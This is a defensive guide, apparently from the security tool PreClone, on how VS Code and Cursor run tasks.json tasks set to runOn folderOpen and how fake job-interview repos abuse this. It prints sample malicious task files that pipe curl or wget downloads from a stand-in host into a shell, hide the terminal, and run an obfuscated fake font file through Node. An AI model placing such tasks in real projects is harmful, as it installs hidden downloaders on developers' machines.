Skip to content
PreClone

VS Code tasks.json and runOn folderOpen: what runs when you open a folder

Guides · Editors: VS Code and Cursor · Published 20 October 2026

A task in .vscode/tasks.json with "runOptions": { "runOn": "folderOpen" } runs its command when you open the folder. In current VS Code it only runs in a trusted folder, and since version 1.109 (4 February 2026) only after you've allowed automatic tasks, which are now off by default. Cursor ships with Workspace Trust turned off. Fake job repos use this one key to start a downloader the moment you open the take-home.

This is the full picture for 2026: every key that changes what a task runs, the exact rules VS Code follows before running one, how real campaigns have abused it, and how to read the file before the folder goes near your editor. For the wider checklist (agents, install scripts, git hooks), start with how to check a GitHub repo for malware before you clone it.

What runOn: folderOpen does

VS Code reads workspace tasks from tasks.json in the .vscode folder. Each task has a runOptions object, and its runOn key takes two documented values: default, which runs the task only when you pick it from Run Task, and folderOpen, which runs it “when the containing folder is opened” (VS Code docs, run behavior).

{
  "version": "2.0.0",
  "tasks": [
    {
      "label": "watch",
      "type": "shell",
      "command": "npm run watch",
      "runOptions": { "runOn": "folderOpen" }
    }
  ]
}

That's the honest use: start a compiler in watch mode so it's running when you sit down. The same mechanism runs whatever command says, with your user account's permissions.

Three details the docs don't spell out, from VS Code's source:

  • runOn is matched without regard to case, so FOLDEROPEN works the same as folderOpen (taskConfiguration.ts). Search for it case-insensitively.
  • The same parser accepts a third value, worktreeCreated, which isn't in the tasks docs (same file).
  • Automatic tasks aren't only read from .vscode/tasks.json. VS Code also collects them from a workspace file (runAutomaticTasks.ts): a .code-workspace file can carry its own "tasks" section, limited to shell and process tasks (multi-root workspaces).

The other keys that decide what runs

The command line is often not the whole story. These keys change what actually starts, and every one of them has shown up in real or researched abuse.

KeyWhat it doesWhy it matters when reading
dependsOnRuns other tasks first, by label. Several are run in parallel unless dependsOrder is sequence (docs).A folderOpen task with no command of its own can start a task that does have one. Follow every label.
type: npmA task with "type": "npm" and a script name customizes the auto-detected npm task (docs), and the automatic-task code picks those up too (source).The command isn't in tasks.json at all. It's the script in package.json.
windows, osx, linuxPer-platform overrides. They “override properties defined in the task or global scope” (docs), and they can sit on a task or at the top of the file.The command you read at the top level may not be the one that runs on your machine. Read all three.
options.shellSets the shell and its arguments. The docs' own example passes /d /c to cmd.exe, which come before the command (docs).Shell args can carry a command of their own, so the visible command isn't necessarily what runs first.
options.envSets environment variables for the task, per task, globally or per platform (docs).NODE_OPTIONS=--require ./file.js makes Node load a file first (Node docs); BASH_ENV names a file bash runs before a script (bash manual). A plain node build.js can run something else.
presentationreveal: never leaves the terminal panel hidden until you open it yourself; echo: false stops the command being printed (default true); close: true closes the terminal when the task exits (docs).No legitimate watch task needs to hide its own terminal. Treat these together with folderOpen as a signal.

When VS Code actually runs it in 2026

A folderOpen task runs only if every one of these holds.

1. The folder is trusted

“Automatic tasks never run in an untrusted workspace”, whatever the setting (VS Code docs). A new, unfamiliar folder opens in Restricted Mode, which limits agents, the terminal, tasks, debugging, some workspace settings and extensions that haven't opted in (Workspace Trust). In Restricted Mode, running or even listing tasks asks you to trust the folder first, and opening a terminal is blocked.

The trust dialog on startup defaults to never: new folders open in Restricted Mode with a banner instead of an upfront question (trust settings). So the moment that matters is when you click Trust in that banner, or when something you do (opening a terminal, running a task, starting the debugger) asks you to.

Two ways a folder gets trusted without you thinking about this repo at all:

  • A trusted parent folder. Trusting a parent folder “applies trust to the parent folder and all its subfolders” (docs). If ~/code is trusted, every repo you clone into it opens trusted. The docs suggest keeping unfamiliar repos under a separate parent you don't trust.
  • Trust you gave earlier. Trusted folders stay on your list until you remove them. A repo you trusted last month that gains a folderOpen task in a later commit is still trusted, which is the gap Abstract Security pointed out (Abstract Security).

The docs state one limit of Restricted Mode: it “can't prevent a malicious extension from executing code” (Workspace Trust).

2. Automatic tasks are allowed

task.allowAutomaticTasks takes on or off. VS Code 1.109, released 4 February 2026, changed the default from on to off “to improve security and prevent unintended execution of tasks” (release notes). Before that, a trusted folder ran its folderOpen tasks with no further question.

What off means depends on whether you set it yourself, and the source is more precise than the docs here (runAutomaticTasks.ts):

  • Left at the default. The first time a trusted workspace has an automatic task, VS Code shows a notification listing the task names and files, and asks whether to “allow automatic tasks to run in all trusted workspaces”. It asks once per workspace. The buttons are Allow, Disallow and Open File.
  • Allow is not per folder. It writes "task.allowAutomaticTasks": "on" to your user settings, so every trusted folder you open afterwards runs its folderOpen tasks without asking. Disallow writes off the same way. The Tasks: Manage Automatic Tasks command also writes to user settings, although the docs describe the choice as being for the current workspace (docs).
  • Set to off by you. If your user settings say off explicitly, VS Code neither runs automatic tasks nor asks.

If the notification appears on a repo you don't know, click Open File and read the task before anything else. It also tells you the repo has a folderOpen task, which is worth knowing by itself.

3. The setting comes from you, not the repo

The docs say to add task.allowAutomaticTasks “to your user or workspace settings” (docs), but VS Code registers it with application scope (task.contribution.ts), and application settings “can only be configured in user settings” (VS Code API docs). The same goes for security.workspace.trust.enabled (source). A repo's .vscode/settings.json can't switch either one off for you. A repo that tries is telling you something about its author.

How fake job repos use it

The pattern is documented in detail by two research teams, both looking at the fake recruiter campaigns covered in the fake job interview repo guide.

  • Abstract Security (20 January 2026) tracked tasks with per-platform commands that pipe a download into a shell: curl ... | bash on macOS, wget -qO- ... | sh on Linux, curl ... | cmd on Windows. Other tasks ran node on files named like fonts and images (.woff2, .jpeg, .svg) that were really obfuscated JavaScript, and some commands were padded with whitespace to push them off the right edge of the screen. One shared task label was eslint-check. Citing other researchers, Abstract says the campaign's task files lead to the BeaverTail downloader and the InvisibleFerret backdoor (Abstract Security).
  • Trend Micro (21 April 2026) counted 392 tasks.json files set up as downloaders and 131 that launch fake font or image files in a March 2026 scan. It noted the task runs once the victim accepts the trust prompt, and that a developer who commits from an infected project carries the tasks.json into the next repo, so the reach “expands with every commit” (Trend Micro).

Put together, an abused task looks like this (an illustration, with reserved example hosts):

{
  "version": "2.0.0",
  "tasks": [
    {
      "label": "eslint-check",
      "type": "shell",
      "command": "echo checking",
      "osx":     { "command": "curl -s https://example.com/m | bash" },
      "linux":   { "command": "wget -qO- https://example.com/l | sh" },
      "windows": { "command": "curl -s https://example.com/w | cmd" },
      "runOptions": { "runOn": "folderOpen" },
      "presentation": { "reveal": "never", "echo": false, "close": true }
    }
  ]
}

The top-level command is harmless and never runs on any of the three platforms. A second form puts the payload in the repo instead of on a server, which survives the URL being taken down:

{
  "label": "setup",
  "dependsOn": ["fonts"],
  "runOptions": { "runOn": "folderOpen" }
},
{
  "label": "fonts",
  "type": "shell",
  "command": "node public/fonts/fa-brands-regular.woff2",
  "presentation": { "reveal": "never", "echo": false }
}

setup runs nothing itself. fonts has no runOn. Only following dependsOn shows that opening the folder runs a font file through Node.

Both write-ups predate or overlap the 1.109 default change. Abstract's point that “once a workspace is trusted the user is never prompted again” described the old on default. It still describes anyone who has clicked Allow once, and any editor that hasn't picked up the change.

Read tasks.json before you open the folder

Reading a file runs nothing. Get the files without your editor: press . on the GitHub repo page to open github.dev, where you can't build, run code or use a terminal (GitHub docs), or download the archive and read it in a terminal. Then find every place a task can live:

# every tasks file and workspace file, any case
find . -path ./node_modules -prune -o \( -iname tasks.json -o -iname '*.code-workspace' \) -print

# automatic tasks, any spelling of the value
grep -rniE 'folderopen|worktreecreated' --include='*.json' --include='*.code-workspace' . 2>/dev/null

For each automatic task, read in this order:

  1. The command and args, then the windows, osx and linux blocks on the task and at the top of the file. The one for your platform is the one that runs.
  2. options.shell.args and options.env, on the task and at the top level.
  3. Every label in dependsOn, recursively. A label like npm: build refers to a package.json script.
  4. "type": "npm" tasks: open package.json and read the named script.
  5. What the command touches: node, python, bash, powershell, curl, wget, a pipe into a shell, or a file under public/, assets/ or fonts/. Open that file. If a font or image is text, that's your answer.
  6. presentation settings that hide it. Hidden output plus folderOpen plus a download is not a build step.

The JSONC line-break trick

tasks.json is JSON with comments, and VS Code's parser ends a // comment at a line feed, a lone carriage return, or the Unicode line and paragraph separators U+2028 and U+2029 (json.ts). If a viewer doesn't treat those characters as a new line, text that looks like part of a comment can be live config to VS Code. Commands padded far to the right hide in the same way. Check for both:

# lone carriage returns and Unicode line separators
rg -n --hidden -g '*.json' -g '*.code-workspace' '\r[^\n]|\x{2028}|\x{2029}' .

# show control characters; a lone CR prints as ^M
cat -v .vscode/tasks.json

# very long lines
awk 'length > 200 { print FILENAME ":" FNR ": " length " chars" }' .vscode/*.json

If a tasks.json has a folderOpen task you can't explain, don't open the folder in a desktop editor. Delete the .vscode folder from your copy first, or don't use the repo.

Settings for VS Code, Cursor and other forks

Put these in your user settings.json, not the one in a project's .vscode folder:

{
  // Keep Workspace Trust on (VS Code default; off by default in Cursor)
  "security.workspace.trust.enabled": true,

  // Set explicitly: no automatic tasks, and no prompt you might click through
  "task.allowAutomaticTasks": "off"
}
  • VS Code. Both are already the defaults, but setting task.allowAutomaticTasks explicitly means the one-time prompt never appears (source). Run a watch task by hand when you need it. Don't trust a parent folder that new clones land in, and leave terminal.integrated.allowInUntrustedWorkspace off unless your shell never runs code from the current folder (1.109 notes).
  • Cursor. Cursor's docs say Workspace Trust is “disabled by default”, that you turn it on with security.workspace.trust.enabled in your user settings, and that Restricted Mode “breaks AI features” (Cursor docs). Oasis Security showed a folderOpen task running silently when a folder was opened in Cursor with the default setup (Oasis Security). Cursor's docs don't say what its task.allowAutomaticTasks default is, so set it yourself. More in Cursor Workspace Trust and what it doesn't cover.
  • Windsurf, VSCodium and other VS Code-based editors. Their current defaults for either setting aren't covered here because they couldn't be verified. Search your editor's settings for allowAutomaticTasks and workspace.trust, and set both as above.

Trust is still a yes or no with no detail about what yes will run. Leave unfamiliar folders in Restricted Mode, read the files as described above, and decide after.

Other things that run when a folder opens

tasks.json is the most common open-time trigger, not the only one. Read these in the same pass:

  • .devcontainer/devcontainer.json: initializeCommand runs “on the host machine”, not in the container (Dev Container spec). See devcontainer initializeCommand.
  • .vscode/settings.json: extension settings that point at a program in the repo, such as python.defaultInterpreterPath, eslint.runtime or rust-analyzer's override commands. VS Code disables a set of these in Restricted Mode because some “contain paths to executables” (Workspace Trust); once trusted, they apply.
  • .vscode/extensions.json recommendations and any committed .vsix file. See malicious VS Code extension recommendations.
  • .envrc: direnv checks for it before each shell prompt and loads it once you've run direnv allow (direnv). See direnv and .envrc security.

What PreClone shows for a tasks.json

I built PreClone to do this reading before the repo is on your disk. For tasks it lists every task set to start on folder open plus every task it depends on, including detected npm scripts. It reads the file the way VS Code does (comments, whitespace and line breaks, runOn in any case, every platform's command, options.shell and options.env, .code-workspace tasks), and flags workspace settings that try to switch off the prompts or point extensions at a program in the repo. The fake take-home example shows a folderOpen task that runs a font file through Node, with its hidden terminal called out. The full list is under what runs when you open the folder.

It reads files; it doesn't run them. It can't see what a URL serves when a task downloads something at run time, what's inside a binary, your dependencies' own source, or a trick nobody has written a rule for. The best result it gives is “Nothing flagged”, never a verdict that a repo is fine. If you already opened a repo with a task like the ones above in a trusted folder, assume it ran and follow what to do after running malware.

Questions

What does runOn folderOpen do in VS Code?
It tells VS Code to start that task when the folder containing the tasks.json is opened, instead of waiting for you to pick it from Run Task. VS Code only does this in a trusted workspace, and only if automatic tasks are allowed.
Is task.allowAutomaticTasks on or off by default?
Off, since VS Code 1.109 (4 February 2026). Before that it was on. With the default, VS Code asks once when it finds an automatic task; answering Allow turns it on for every trusted workspace from then on.
Does Restricted Mode stop tasks from running?
Yes. In Restricted Mode automatic tasks don't run, and running or even listing tasks asks you to trust the folder first. Restricted Mode also blocks debugging, the terminal, agents, some workspace settings and extensions that haven't opted in.
Can a repo's .vscode/settings.json turn automatic tasks on?
No. task.allowAutomaticTasks and security.workspace.trust.enabled are application-scoped settings in VS Code's source, so VS Code only reads them from your user settings. A repo that ships them is still worth a closer look.
Does Cursor run folderOpen tasks?
Cursor's docs say Workspace Trust is disabled by default, and Oasis Security showed a folderOpen task running as soon as a folder was opened in Cursor. Turn Workspace Trust on in your Cursor user settings and set task.allowAutomaticTasks to off.

Check a repo before you open it

Paste a GitHub, GitLab or Bitbucket link. PreClone reads the repo without running it and lists what would run on your machine, by when it runs. Free for public repos, no login. It can miss things, so it never calls a repo safe.

Or see an example report first.